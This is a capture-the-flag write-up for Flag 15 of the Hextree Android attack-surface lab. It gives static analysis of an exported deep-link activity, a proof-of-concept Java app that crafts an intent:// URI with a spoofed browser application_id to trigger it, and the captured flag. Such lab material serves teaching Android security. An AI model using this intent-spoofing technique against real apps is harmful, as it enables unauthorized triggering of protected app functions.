Static Analysis

AndroidManifest.xml

Upon inspecting the Flag15Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag15Activity"  
	android:exported="true">  
	<intent-filter>  
		<action android:name="io.hextree.action.GIVE_FLAG"/>  
		<category android:name="android.intent.category.DEFAULT"/>  
		<category android:name="android.intent.category.BROWSABLE"/>  
	</intent-filter>  
</activity>

We can see that the activity accepts deep links but it doesn’t have any schemas or hosts

Flag15Activity Class

public class Flag15Activity extends AppCompactActivity {  
    public Flag15Activity() {  
        this.name = "Flag 15 - Create a intent://flag15/ link";  
        this.tag = "Deeplink";  
        this.tagColor = R.color.pink;  
        this.flag = "Dd9YjTMVuPv+aFFNmgdp4lZSlsia2NPmYxH9Z5cBuOQ=";  
    }  
  
    private boolean isDeeplink(Intent intent) {  
        return (intent == null || intent.getAction() == null || !intent.getCategories().contains("android.intent.category.BROWSABLE") || intent.getStringExtra("com.android.browser.application_id") == null) ? false : true;  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        Intent intent = getIntent();  
        if (intent == null) {  
            return;  
        }  
        String action = intent.getAction();  
        if (action == null) {  
            Intent intent2 = new Intent("android.intent.action.VIEW");  
            intent2.setData(Uri.parse("https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=" + Uri.encode("intent:#Intent;...")));  
            startActivity(intent2);  
            return;  
        }  
        if (isDeeplink(intent) && action.equals("io.hextree.action.GIVE_FLAG")) {  
            Bundle extras = intent.getExtras();  
            if (extras == null) {  
                finish();  
            }  
            String string = extras.getString("action", "open");  
            if (extras.getBoolean("flag", false) && string.equals("flag")) {  
                this.f.addTag(Boolean.valueOf(extras.getBoolean("flag", false)));  
                this.f.addTag(string);  
                success(this);  
            } else if (string.equals("open")) {  
                Toast.makeText(this, "Website: " + extras.getString("message", "open"), 1).show();  
            }  
        }  
    }  
}

Upon reviewing the code we notice it needs some data in order to get the flag, for simplicity I just gave the code to GPT and he constructed all the needed data

Creating POC

Redirecting the intent via our POC App

Flag15.java

public class Flag15 extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag15);
		getSupportActionBar().setTitle("Flag 15");
 
        Button button = findViewById(R.id.button_flag15);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("Tensai-POC", "Solving Flag 15");
                try {
                    Intent intent = Intent.parseUri("intent://flag15/#Intent;" +
                                    "action=io.hextree.action.GIVE_FLAG;" +
                                    "category=android.intent.category.BROWSABLE;" +
                                    "S.com.android.browser.application_id=com.android.chrome;" +
                                    "S.action=flag;" +
                                    "B.flag=true;" +
                                    "component=io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag15Activity;" +
                                    "end",
                            0);
                    startActivity(intent);
                } catch (URISyntaxException e) {
                    Log.e("Tensai-POC", "URI syntax error", e);
                }
            }
        });
    }
}

Flag

HXT{intent-uris-are-cool-12fgv}